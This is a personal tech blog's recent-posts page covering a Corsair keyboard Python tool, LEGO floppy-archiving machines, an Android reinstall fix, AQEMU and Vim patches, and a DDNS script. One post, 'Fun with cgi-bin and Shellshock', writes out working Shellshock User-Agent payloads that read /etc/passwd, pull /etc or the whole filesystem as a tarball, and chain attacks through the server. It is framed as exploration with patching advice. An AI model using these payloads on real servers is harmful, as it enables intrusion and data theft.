Recent posts (max 10) - Browse or Archive for more

Driving Corsair Gaming keyboards on Linux with Python, II

Since I wrote about Driving the Corsair Gaming K70 RGB keyboard on Linux with Python, the ckb project has released v0.2. With that came changes to the protocol used to communicate with ckb-daemon which broke my rgbkbd tool.

So I had to do some work on the code. But that wasn't the only thing I tackled.

The 0.2 release of rgbkbd includes:

  • Updates the code to work with ckb-daemon v0.2
  • Adds support for the K95-RGB, in addition to the existing support for the K70-RGB.
  • Adds a key-stroke driven "ripple" effect.
  • Adds a "falling-letter" animation, inspired by a screen saver which was inspired by The Matrix.
  • Adds support for displaying images on the keyboard, with a couple of example images.
  • Adds support for displaying animated GIFs on the keyboard, with an example animated GIF.

That's right; you can play animated GIFs on these keyboards. The keyboards have a very low resolution, obviously, but internally, I represent them as an image sized based on a standard key being 2x2 pixels. That allows for half-key offsets in the mapping of pixels to keys which gets a reasonable approximation. Keys are colored based on averaging the color of the pixels for that key. Larger keys are backed by more pixels. If the image dimensions don't match the dimensions of the keyboard's image buffer (46x14 for K70, 53x14 for K95), it will slowly scroll around the image. Since the ideal image size depends on the keyboard model, the image files are segregated by model name.

Here is what that looks like:

(Also available on YouTube)

Grab the source code and have fun.

The Floppy-Disk Archiving Machine, Mark III

"I'm not building a Mark III."

Famous last words.

I made the mistake of asking my parents if they had any 3.5" floppy disks at their place.

They did.

And a couple hundred of them were even mine.

Faced with the prospect of processing another 500-odd disks, I realized the Mark III was worth doing. So I made a few enhancements for the Floppy Machine Mark III:

  • Changed the gearing of the track motor assembly to increase torque and added plates to keep its structure from spreading apart. The latter had been causing the push rod mechanism to bind up and block the motor, even at 100% power.
  • Removed the 1x4 technic bricks from the end of the tractor tread, and lengthened the tread by several links and added to the top of the structure under those links. This reduced the frequency that something got caught on the structure and caused a problem.
  • Extended the drive's shell's lower half by replacing the 1x6 technic bricks with 1x10 technic bricks; and a 1x4 plate on the underside flush with the end. This made the machine more resilient to the drive getting dropped too quickly.
  • Added 1x2 bricks to lock the axles into place for the drive shell's pivot point, since they seemed to be working their way out very slowly.
  • Added 1x16 technic bricks to the bottom of all the legs, and panels to accommodate that, increasing the machine's height by 5" and making it easier to pull disks out of the GOOD and BAD bins.
  • Added doors at the bottom of the trays in the front to keep disks from bouncing out
  • Added back wall at bottom of the trays in the back to keep disks from bouncing out.
  • Moved the ultrasonic sensor lower in an attempt to reduce the false empty magazine scenario. This particular issue was sporadic enough that the effectiveness of the change is hard to determine. I only had one false-empty magazine event after this change.
  • Added a touch sensor to detect when the push rod has been fully retracted in order to protect the motor. Before this, the machine identified the position of the push rod by driving the push rod to the extreme right until the motor blocked. This seems to have had a negative effect upon the motor in question. Turning the rotor of that poor, abused motor in one direction has a very rough feel. This also used the last sensor port on the NXT. (One ultrasonic sensor and three touch sensors.)
  • Replaced the cable to the push rod motor with a longer one from HiTechnic.
  • Significantly modified the controlling software to calibrate locations of the motors in ways that did not require driving a motor to a blocked state.
  • Enhanced the controlling software to allow choosing what events warranted marking a disk as bad and which didn't.
  • Enhanced the data recovery software to allow bailing on the first error detected. This helps when you want to do an initial pass through the disks to get all the good disks archived first. Then you can run the disks through a second time, spending more time recovering the data off the disks.
  • Enhanced the controlling software to detect common physical complications and take action to correct it, such as making additional attempts to eject a disk.

With those changes, the Mark III wound up much more rainbow-warrior than the Mark II:

floppy machine mark iii

And naturally, I updated the model with the changes:

floppy machine mark iii model

The general theme for the Mark II was to rebuild the machine with a cleaner construction, reasonable colors, and reduced part count. The general theme for the Mark III was to improve the reliability of the machine so it could process more disks with less baby-sitting.

All told, I had 1196 floppy disks. If you stack them carefully, they'll fit in a pair of bankers boxes.

boxes of disks

And with that, I'm done. No Mark IV. For real, this time. I hope.

The Floppy-Disk Archiving Machine, Mark II

Four and a half years ago, I built a machine to archive 3.5" floppy disks. By the time I finished doing the archiving of the 443 floppies, I realized that it fell short of what I wanted. There were a couple of problems:

  • many 3.5" floppy disk labels wrap around to the back of the disk
  • disks were dumped into a single bin
  • the machine was sensitive any shifts to the platform, which consisted of two cardboard boxes
  • the structure of the frame was cobbled together and did not use parts efficiently
  • lighting was ad-hoc and significantly affected by the room's ambient light
  • the index of the disks was cumbersome

I recently had an opportunity to dust off the old machine (quite literally), and do a complete rebuild of it. That allowed me to address the above issues. Thus, I present:

The Floppy-Disk Archiving Machine, Mark II

The Mark II addresses the shortcomings of the first machine.

Under the photography stage, an angled mirror provides the camera (an Android Dev Phone 1) a view of the label on the back of the disk. That image needs perspective correction, and has to be mirrored and cropped to extract a useful image of the rear label. OpenCV serves this purpose well enough, and is straight forward to use with the Python bindings.

The addition of lights and tracing-paper diffusers improved the quality of the photos and reduced the glare. It also made the machine usable whether the room lights were on or off.

The baffle under disk drive allows the machine to divert the ejected disks into either of two bins. I labeled those bins "BAD" and "GOOD". I wrote the control software (also Python) to accept a number of options to allow sorting the disks by different criteria. For instance, sometimes OpenCV's object matching selects a portion of a disk or its label instead of the photography stage's arrows. When that happens, the extraction of the label will fail. That can happen for either the front or back disk labels. The machine can treat such a disk as 'BAD'. When a disk is processed, and bad bytes are found, the machine can treat the disk as bad. The data extraction tool supports different levels of effort for extracting data from around bad bytes on a disk.

This allows for a multiple-pass approach to processing a large number of disks.

In the first pass, if there is a problem with either picture, or if there are bad bytes detected, sort the disk as bad. That first pass can configure the data extraction to not try very hard to get the data, and thus not spend much time per disk. At the end of the first pass, all the 'GOOD' disks have been successfully read with no bad bytes, and labels successfully extracted. The 'BAD' disks however, may have failed for a mix of different reasons.

The second pass can then expend more effort extracting data from disks with read errors. Disks which encounter problems with the label pictures would still be sorted as 'BAD', but disks with bad bytes would be sorted as 'GOOD' since we've extracted all the data we can from them, and we have good pictures of them.

That leaves us with disks that have failed label extraction at least once, and probably twice. At this point, it makes sense to run the disks through the machine and treat them as 'GOOD' unconditionally. Then the label extraction tool can be manually tweaked to extract the labels from this small stack of disks.

Once the disks have been successfully photographed and all available data extracted, an html-based index can be created. That process creates one page containing thumbnails of the front of the disks.

index of floppies screenshot

Each thumbnail links to a page for a disk giving ready access to:

  • a full-resolution picture of the extracted front label
  • a full-resolution picture of the extracted back label
  • a zip file containing the files from the disk
  • a browsable file tree of the files from the disk
  • an image of the data on the disk
  • a log of the data extracted from the disk
  • the un-processed picture of the front of the disk
  • the un-processed picture of the back of the disk

single disk screenshot

The data image of the disk can be mounted for access to the original filesystem, or forensic analysis tools can be used on it to extract deleted files or do deeper analysis of data affected by read errors. The log of the data extracted includes information describing which bytes were read successfully, which had errors, and which were not directly attempted. The latter may occur due to time limits placed on the data extraction process. Since a single bad byte may take ~4 seconds to return from the read operation, and there may be 1474560 bytes on a disk, if every byte were bad you could spend 10 weeks on a single disk, and recover nothing. The data recovery software (also written in Python) therefore prioritizes the sections of the disk that are most likely to contain the most good data. This means that in practice everything that can be read off the disk will be read off in less than 20 minutes. For a thorough run, I will generally configure the data extraction software to give up if it has not successfully read any data in the past 30 minutes (it's only machine time, after all). At that point, the odds of any more bytes being readable are quite low.

So what does the machine look like in action?

(Also posted to YouTube.)

Part of the reason I didn't disassemble the machine while it collected dust for 4.5 years was that I knew I would not be able to reproduce it should I have need of it again in the future. Doing a full rebuild of the machine allowed me to simplify the build dramatically. That made it feasible to create an Ldraw model of it using LeoCAD.

rendering of digital model

Rebuilding the frame with an eye to modeling it in the computer yielded a significantly simpler support mechanism, and one that proved to be more rigid as well. To address the variations of different platforms and tables, I screwed a pair of 1x2 boards together with some 5" sections of 1x4 using a pocket hole jig. The nice thing about the 5" gap between the 1x2 boards is that the Lego bricks are 5/16" wide, so 16 studs fit neatly within that gap. The vertical legs actually extend slightly below the top of the 1x2's, and the bottom horizontal frame rests on top of the boards. This keeps the machine from sliding around on the wooden frame, and makes for a consistent, sturdy platform which improves the machine's reliability.

The increase in stability and decrease in parts required also allowed me to increase the height of the machine itself to accommodate the inclusion of the disk baffle and egress bins.

What about a Mark III?

Uhm, no.

I have processed all 590 disks in my possession (where did the additional 150 come from?), and will be having these disks shredded. That said, the Mark II is not a flawlessly perfect machine. Were I to build a third machine, increasing the height a bit further to make the disk bins more easily accessible would be a worthwhile improvement. Likewise, the disk magazine feeding the machine is a little awkward to load with the cables crossing over it, and could use some improvement so that the weight of a tall stack of disks does not impede the proper function of the pushrod.

So, no, I'm not building a Mark III. Unless you or someone you know happen to have a thousand 3.5" floppy disks you need archived, and are willing to pay me well to do it. But who still has important 3.5" floppy disks lying around these days? I sure don't. (Well, not anymore, anyway.)

Driving the Corsair Gaming K70 RGB keyboard on Linux with Python

I recently purchased a fun toy for my computer, a Corsair Gaming K70 RGB keyboard. It is a mechanical keyboard with each key individually backlit with an RGB LED. So you can pick the color of each key independently.

Lots of blinken-lights!

I realize there may not be many practical applications for such things, but it looked like fun. And it is.

There were a few hurdles to overcome. For one, I run Linux, which is not officially supported. Thankfully, someone had already done the hard work of reverse engineering the keyboard's USB protocol and written a Linux-compatible daemon and user utility called `ckb` for driving it. The design of ckb allows for any process to communicate with the ckb-daemon, so you can replace the ckb GUI with something else. I chose to create a Python program to replace ckb so I could play with this fun keyboard in a language I enjoy using. I also thought it would be a fun challenge to make the lighting of the keyboard controllable without having a GUI on the screen. Afterall, the keyboard has a way to give feedback: all those many, many RGB LEDs.

So I created rgbkbd. This supports doing some simple non-reactive animations of color on the keyboard, such as fading, pulsing, or jumping through a series of colors of the background. Or having those colors sweep across the keyboard in any of 6 different directions. And you can setup the set of colors you want to use by hitting the backlight and Windows lock keys to get into a command mode and select all the variations you want to apply.

But I found there were a couple of things I could do with this keyboard that have some practical value beyond just looking cool.

One is "typing mode". This is a mostly static lighting scheme with each logical group of keys lit in a different color. But it has one bit of reactive animation. It measures your current, your peak, and your sustained typing speed, and displays that on the number row of the keyboard. This way you can see how well you are typing. You can see how well you are sustaining a typing speed, and how "bursty" your typing is. (And yes, it docks your typing speed when you hit delete or the backspace key.)

Another interesting mode I created was a way to take notes without displaying what you are typing. Essentially, you switch to command mode, hit the 'Scroll Lock' key, and the keyboard lights random keys in green, but what you type is saved to a file in your home directory named .secret-<unixepochtime>. (A new file is created each time you switch into this keyboard mode.) But none of your keypresses are sent to the programs that would normally receive keystrokes. The trick here is that the keyboard allows you to "unbind" a key so that it does not generate a keystroke when you hit it. In this secrete note taking mode, all keys are unbound so none generate keystrokes for the OS. However, ckb-daemon still sees the events and passes them on to rgbkbd which can then interpret them. In this mode, it translates those keystrokes to text and writes them out to the current .secret file.

Oh, and for a fun patriotic look: press and hold the play button, tap the number pad 1, then tap blue, white, red, white, red, white, red, white; and release the play button.

Browse the source code or download the tarball.

(Also available on YouTube)

Here is the documentation for rgbkbd.


rgbkbd is a Linux compatible utility for driving the Corsair Gaming K70 RGB keyboard using the ckb-daemon from ckb.

Rather than being built around a GUI like ckb is, rgbkbd is a Python program that allows for rapid prototyping and experimentation with what the K70 RGB keyboard can do.


Run from this directory, or package it as an RPM, install it, and run /usr/bin/rgbkbd


Make sure that 'ckb-daemon' is running, and that 'ckb' is NOT running. rgbkbd replaces 'ckb's role in driving the keyboard animations, so they will interfere with each other if run concurrently. Like ckb, rgbkbd contains the logic behind the operations occuring on the keyboard.

rgbkbd will initialize the keyboard to a static all-white backlight.

Pressing the light button will toggle the backlight off and on.

Pressing the light button and the Windows lock button together (as a chord), will switch to the keyboard command mode. Pressing the light button and the Windows lock button again will return you to the previous keyboard mode.

The command mode allows you to select a number of different modes and effects. Most of the selections involve chording keys. When a new mode is selected, the keyboard exits command mode and initiates the new keyboard mode. When in command mode, your key presses are not passed on to currently running programs.

Static color lighting

The number keys are illuminated in a variety of colors. Pressing and releasing one of these keys will switch to a monochome color for the keyboard. Note that the ~/\ key to the left of 1` is for black.

Random pattern lighting

The Home key toggles through a random selection of colors. Hitting that key in command mode will select a random pair of colors, and a changing random set of keys will toggle between those colors.

You can select the colors for the random key animation. To do so, press and hold the Home key, then press the color selection key on the number row, and release the keys. Random keys will light with the chosen color on a black background. To select the background color as well, press and hold the Home key, then tap the color you want for the foreground, then tap the color you want for the background, and release the Home key.

Color pattern lighting

You can configure the keyboard to cycle through a pattern of colors with a configurable transition. The media keys show a light pattern in command mode. The stop button shows alternating colors. The back button shows a pulse that fades out. The play and forward buttons show fading colors at different rates. Press and hold one of those buttons, then tap a sequence of the color keys, then release the media key. The entire keyboard will cycle through the select colors using the selected transition.

Color motion lighting

You can put the color patterns described above into motion across the keyboard. To do so, choose your transition type and colors in the same way you would for the color pattern lighting, but before you release the transition selection key, tap a direction key on the number pad. You can select any of 6 different directions. Then release the transition key. The color pattern will now sweep across the keyboard in the direction you chose.

Touch-typing mode

The PrtScn button selects a touch-typing mode. Keys are statically backlit in logical groups. Plus the number row indicates your typing speed in increments of 10WPM (words per minute). The indicator includes the - and the = keys to indicate 110WPM and 120WPM, respectively.

As you type, the keys, starting with 1 will light up in white, creating a gwoing bar of white. This indicates your current typing speed. Your peak typing speed from the past is indicated with a yellow backlit key. If your peak typing speed exceeds 130WPM, the peak indicator will change to red. The average typing speed you have maintained over the past minute is indicated by a green backlit key. If this exceeds 130WPM, the indicator will change to blue.

Secret notes mode

The Scroll Lock key selects a secret note taking mode. The lighting will change to a random green-on-black animation, but what you type will be written to a file in your home directory named .secret-<timestamp> instead of going to your programs. This allows you to write a note to yourself for later without displaying what you are typing on the screen. This can be useful if you have someone sitting near you and you remembered something important but private you wanted to make sure you didn't forget.

Regarding an "adb install" error, "INSTALL_FAILED_UID_CHANGED"

While working to transfer data between two Android devices, I ran into an error like this:

$ adb install pkg.apk
8043 KB/s (38782490 bytes in 4.709s)
        pkg: /data/local/tmp/pkg.apk

The answers I found on how to fix the problem generally involved deleting the user's data or resetting the device, and did not address what the underlying issue was.

The underlying issue here is that you are installing an application, but there is already a /data/data/<application-name> directory on the device which is owned by a different UID than the application is now being installed under.

This can be fixed without deleting the data, but does require root.

And, like anything you read on the net, this is provided in the hope it will be useful, but with no warranties. If this breaks your device, you get to keep the pieces. But you're here reading about low-level Android error messages you're getting from a developer tool, so you knew that already, right?

Out of an abundance of caution, I chose to run a number of these steps from TWRP recovery mode. TWRP supports adb shell and drops you into a root shell directly. You may be able to take these steps while running the system Android, but since I took the additional steps, I will show them here.

First, we'll rename the directory. For this step, boot the device into TWRP, go to the mount menu and mount the Data partition. Then rename the directory like this:

[user@workstation]$ adb shell
~ # cd /data/data
/data/data # mv <application-name> <application-name>-backup

Boot the device back to Android, and attempt to install the application again:

[user@workstation]$ adb install pkg.apk
7176 KB/s (38782490 bytes in 5.468s)
        pkg: /data/local/tmp/pkg.apk

Then fix the permissions and the lib symlink in the backup directory:

[user@workstation]$ adb shell
shell@device:/ $ su
root@device:/ # d=<application-name>
root@device:/ # UID=$(ls -ld $d | awk '{print $2 ":" $3}')
root@device:/ # rm $d-backup/lib
root@device:/ # find $d-backup | while read f; do chown -h $UID "$f" done
root@device:/ # cp -P -p $d/lib $d-backup/lib

Now swap the old data directory back into place. For this step, I booted the device into TWRP:

[user@workstation]$ adb shell
~ # cd /data/data
/data/data # mv <application-name> <application-name>-fresh
/data/data # mv <application-name>-backup <application-name>

Reboot back to Android. Your application is now installed, and has its old data.

Once everything checks out, you can cleanup the leftover directory:

[user@workstation]$ adb shell
shell@device:/ $ su
root@device:/ # rm -rf /data/data/<application-name>-fresh

Intel HD Audio support for AQEMU (and other bugs)

AQEMU is basic Qt-based GUI frontend for creating, modifying, and launching VMs. Unfortunately, the last release was years ago, and QEMU and KVM have progressed in that time. There are a few bugs that bother me about AQEMU. Today, I addressed some of them.

Edit: This blog post has been reworked after I found upstream patches.

The simple one was a spelling fix; the word "Advanced" was misspelled as "Advaced" in multiple places. Someone else posted a patch for the same problem, but that missed one occurrence of the typo.

The more important one was adding a check-box for the Intel HD Audio sound card. But then I found someone else had already posted a patch to add sound hardware support for both that card and the CS4231A soundcard. That patch did not apply cleanly to the aqemu-0.8.2-10 version as shipped in Fedora 20, so I backported that patch. However, this patch was incomplete; it was missing the code for saving those options to the configuration file for the VM. So I created a patch to save those options which can be applied on top of my backport. At this point, I would suggest using the backport and the bugfix, rather than my original patch.

After applying the sound card support patches, you will need to re-detect your emulators so that AQEMU will allow you to select the newly-supported cards. To do that, go to File->Advanced Settings and click on Find All Emulators and then OK. Close and reopen AQEMU and the new audio card options should be available.

And one more was a fix for the "Use video streams detection and compression" option. When reading the VM's configuration file, the 'Use_Video_Stream_Compression' flag was incorrectly parsed due to a misplaced exclamation point, leading to that option getting disabled every time you modified the VM configuration. (Reported upstream.)

Fun with cgi-bin and Shellshock

The setup

One of the simple examples of the Shellshock bug uses wget and overrides the user agent. For example:

USER_AGENT="() { : ; }; /bin/touch /tmp/SHELLSHOCKED"
wget -U "$USER_AGENT"

(You can do it all as one line, but we're going to take USER_AGENT to the extreme, and setting it as a variable will make it clearer.)

You can create a simple CGI script that uses bash like this:

echo "Content-type: text/html"
echo ""
echo "<html><title>hello</title><body>world</body></html>"

and put it in your cgi-bin directory as and then point the wget command above at it. (I will note for the sake of completeness that I do not recommend doing that on an internet accessible system -- there are active scans for Shellshock running in the wild!)

The malicious wget above will, on systems with touch in /bin, create an empty file in /tmp.

For checking your systems, this is quite handy.

Extend our flexibility

If we make the USER_AGENT a bit more complex:

USER_AGENT="() { : ; }; /bin/bash -c '/bin/touch /tmp/SHELLSHOCKED'"

We now can run an arbitrarily long bash script within the Shellshock payload.

One of the issues people have noticed with Shellshock is that $PATH is not set to everything you may be used to. With our construct, we can fix that.

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; touch /tmp/SHELLSHOCKED'"

We now have any $PATH we want.

Enter CGI again

What can we do with that? There have been a number of examples which using ping to talk to a known server or something along those lines. But can we do something a bit more direct?

Well, we created a CGI script in bash for testing this exploit, so the webserver is expecting CGI output from the underlying script. What if we embed another CGI script into the payload? That looks like

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: text/html\n\"; echo -e \"<html><title>Vulnerable</title><body>Vulnerable</body></html>\"'"

Now wget will get back a valid web-page, but it's a webpage of our own. If we are getting back a valid webpage, maybe we'd like to look at that page using our webbrowser, right? Well, in Firefox it's easy to change our USER_AGENT. To figure out what we should change it to, we run

echo "$USER_AGENT"

and get

() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:$PATH; echo -e "Content-type: text/html\n"; echo -e "<html><title>Vulnerable</title><body>Vulnerable</body></html>"'

We can then cut and paste that into the general.useragent.override preference on the about:config page of Firefox. (To add the preference in the first place, Right-click, New->String, enter general.useragent.override for the name and paste in the USER_AGENT value for the value.) Then we can point Firefox at and get a webpage that announces the system is vulnerable. (I would recommend creating a separate user account for this so you don't inadvertently attempt to exploit Shellshock on every system you browse. I'm sure that when you research your tax questions on, they'll be quite understanding of how it all happened.)

What can we do with our new vulnerability webpage? Perhaps something like this:

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: text/html\n\"; echo -e \"<html><title>Vulnerability report \`hostname\`</title><body><h1>Vulnerability report for\`hostname\`; \`date\`</h1><h2>PATH</h2><p>\$PATH</p><h2>IP configuration</h2><pre>\`ifconfig\`</pre><h2>/etc/passwd</h2><pre>\`cat /etc/passwd\`</pre><h2>Apache config</h2><pre>\`grep . /etc/httpd/conf.d/*.conf | sed \"s/</\</g\"\`</pre></body></html>\" 2>&1 | tee -a /tmp/SHELLSHOCKED'"

Let's break that down. The leading () { : ; }; is the key to the exploit. Then we have the payload of /bin/bash -c '...' which allows for an arbitrary script. That script, if formatted sanely, would look something like this

export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:$PATH;
echo -e "Content-type: text/html\n"
echo -e "<html><title>Vulnerability report `hostname`</title>
    <h1>Vulnerability report for `hostname`; `date`</h1>
    <h2>IP configuration</h2>
    <pre>`ifconfig -a`</pre>
    <pre>`cat /etc/passwd`</pre>
    <h2>Apache config</h2>
    <pre>`grep . /etc/httpd/conf.d/*.conf | sed "s/</\&lt;/g"`</pre>
</body></html>" 2>&1 | tee -a /tmp/SHELLSHOCKED'

That generates a report giving the server's:

  • hostname
  • local time
  • content of /etc/passwd
  • apache configuration files

Not only does it send the report back to us, but also appends a copy to /tmp/SHELLSHOCKED... just for good measure. This can be trivially expanded to run find / to generate a complete list of files that the webserver is allowed to see, or run just about anything else that the webserver has permission to do.

Heavier load

So we've demonstrated that we can send back a webpage. What about a slightly different payload? With this USER_AGENT

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: application/octet-stream\n\"; tar -czf- /etc'"

run slightly differently,

wget -U "$USER_AGENT" -O vulnerable.tar.gz

we have now pulled all the content from /etc that the webserver has permission to read. Anything it does not have permission to read has been skipped. Only patience and bandwidth limits us from changing that to

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: application/octet-stream\n\"; tar -czf- /'"

and thus download everything on the server that the webserver has permission to read.


Arbitrary code execution can be fun. Afterall, why not browse via the webserver? (Assuming the webserver can get out again.)

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: application/octet-stream\n\"; wget -q -O-'"

Oh, look. We can run wget on the vulnerable server, which means we can use the server to exploit Shellshock on another server. So with this USER_AGENT

USER_AGENT="() { : ; }; /bin/bash -c 'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\$PATH; echo -e \"Content-type: application/octet-stream\n\"; wget -q -O- -U \"() { : ; }; /bin/bash -c \'export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:\\\$PATH; echo -e \\\"Content-type: application/octet-stream\\n\\\"; wget -q -O-\'\"'"

we use Shellshock on to use Shellshock on to pull a webpage from

Inside access

Some webservers will be locked down to not be able to connect back out to the internet like that, but many services are proxied by Apache. In those cases, Apache has access to the other webserver it is proxying for, whether it is local or on another machine in its network. Authentication may be enforced by Apache before doing the proxying. In such a configuration, being able to run wget on the webserver would allow access to the proxied webserver without going through Apache's authentication.


While the exploration of Shellshock here postulates a vulnerable CGI script, the vulnerability can be exploited even without CGI being involved. That said, if you have any CGI script that executes bash explicitly or even implicitly on any code path, the above attacks apply to you.

If you have any internet-facing systems, you'd better get it patched -- twice. The first patch sent out was incomplete; the original Shellshock is CVE-2014-6271 and the followup is CVE-2014-7169.

Implementing a self-hosted DD-WRT-compatible DDNS service using Linode

The free lunch that vanished

I long used for their free dynamic DNS service, but a while back, they decided to require periodic manual login to keep your account. I failed to do so, and they closed my account. When I created a new account, I discovered that the DNS domains I used to use were no longer offered to free accounts. (And apparently they have since stopped offering free accounts at all.) Since I use linode for, I manually added a couple of entries to my own domain pointing to the IP addresses in question, and hoped for the best, knowing that eventually the IPs would change and the non-dynamic nature of the solution would bite me.

Recently, it did just that.

Cooking my own meal

So, when faced with a choice of spending 5 minutes to sign up for a free account with some dynamic DNS provider, and spending a chunk of my day coding up an independent solution, I naturally chose the harder path. This yielded, a CGI script which provides a DDNS-compatible interface to Linode's Domain Manager that can be used by routers running DD-WRT.

When hosted on a server that all the clients can reliably reach, that script will update a set of hostnames in your domain based on the username with which the client authenticated. The configuration file, ddns.ini (saved in the directory with looks something like this:




The key value in the ddns section is the Linode API authentication token you generate for this purpose. Then each section is a username, and in each of those sections, the domains key is a comma-separated list of hostnames to update to the IP of the client.

Use htpasswd to create an htpasswd file with a username matching each section in your configuration. Each client should have its own account.

Configure your webserver to run as a particular URL on your site by adding a section like this example for Apache to your configuration:

<Location /myddnsservice>
    AuthType Basic
    AuthName "DDNS updater"
    AuthUserFile /path/to/htpasswd
    Require valid-user

And configuring it to run as a CGI script:

ScriptAlias /myddnsservice "/path/to/"

Then configure your client. For routers running DD-WRT firmware, configure the DDNS client (under Setup -> DDNS).

  • Set "DDNS Service" to "Custom"
  • Set "DYNDNS Server" to the name of the server running
  • Set "Username" to the username to match a section in ddns.ini
  • Set "Password" to the password for that user
  • Set some value in the Hostname field so that DD-WRT is happy, though does not use it.
  • Set the URL to "/yourddnsurl?q=" so that the hostname it passes gets used as a parameter and is thus ignored by

Ants at the picnic

There is just one problem.

Apparently DD-WRT's dynamic DNS updater client, INADYN, does not support SSL for communicating with the dynamic DNS provider, which means that any eavesdropper can see the username/password for authenticating to your little DDNS service, and then point your DDNS entries at his own IP address. There is, however, another INADYN project that specifically touts support for https.

Clearly, this is a critical issue that DD-WRT has promised to fix soon, right? Sadly, no. It was reported 5 years ago and the ticket closed as 'wontfix' 3 years ago. That leaves me wondering why I haven't heard of wide-spread dynamic DNS entry vandalism. I attempted to comment on their ticket to encourage them to reconsider their apparent priorities, but my account registration attempt yielded an internal error from their site, as did my attempt to login with the credentials I had attempted to register.

So, while this system is functional, it is not secure, and thus I cannot recommend anyone actually use it -- especially for anything important. But more than that, if you are relying on a DD-WRT router to update a DDNS entry for anything mission critical, perhaps you should reconsider due to the lack of meaningful security on those updates.

Better line wrapping in Vim, FINAL iteration

Back in 2009, I went looking for a way to make Vim's line wrapping be indentation aware. Stock Vim did not support such an option, but I found a patch by Vaclav Smilauer from 2007 which I was able to update and over the years, keep it updated.

Then on June 25, 2014, Bram accepted the breakindent work into Vim as patch 7.4.338. Many thanks to Christian Brabandt for getting the breakindent patch over the finish line. There were a number of followup patches for breakindent, including 7.4.345, 7.4.346, maybe 7.4.352, maybe 7.4.353 and 7.4.354.

Fedora has not yet pulled those changes into Fedora 20 or Fedora 21, but they'll come in time. update: Fedora 20 updated to 7.4.417 near the end of August.

  • Posted: 2014-07-18 14:21 (Updated: 2014-09-25 13:50)
  • Author: retracile
  • Categories: vim
  • Comments (0)

LPub4 for Linux, 4th iteration

LPub4 is a program by Kevin Clague for creating high-quality instructions for Lego models. It runs on OS X and Windows. I ported it to Linux a while ago.

I have updated the patches for current versions of LPub4 and packaged it for Fedora 19.

LPub4 needs to know where to find the LDraw parts library and the ldview executable. Its configuration file is ~/.config/LPub/LDraw Building Instruction Tool.conf which (assuming you are using my package of the LDraw parts library and my package of LDView) you can edit to contain:


The .spec file shows how it was created, the *.patch files are the modifications I made, the .x86_64.rpm file (other than debuginfo) is the one to install, and the .src.rpm contains everything so it can be rebuilt for another rpm-based distribution.